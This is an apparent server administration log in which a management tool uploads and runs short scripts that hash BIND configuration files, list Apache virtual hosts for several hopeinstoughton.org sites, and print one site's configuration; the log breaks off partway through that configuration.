MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:29:54: Establishing a connection
2026-01-03 19:30:03: Establishing a connection
2026-01-03 19:30:04:
PUT: /tmp/pkp299506
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:30:04:
runuser -l bind -s /bin/bash -c '/tmp/pkp299506; rm /tmp/pkp299506'
2026-01-03 19:30:04:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:30:08: Establishing a connection
2026-01-03 19:30:10:
PUT: /tmp/pkp280920
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:30:11:
chmod 755 /tmp/pkp280920; /tmp/pkp280920; rm /tmp/pkp280920
2026-01-03 19:30:11:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 19:30:11:
PUT: /tmp/pkp735825
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:30:11:
chmod 755 /tmp/pkp735825; /tmp/pkp735825; rm /tmp/pkp735825
2026-01-03 19:30:11:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf 1398
<VirtualHost *:80>
ServerName cdn3.hopeinstoughton.org
ServerAdmin do_not_email@example.com
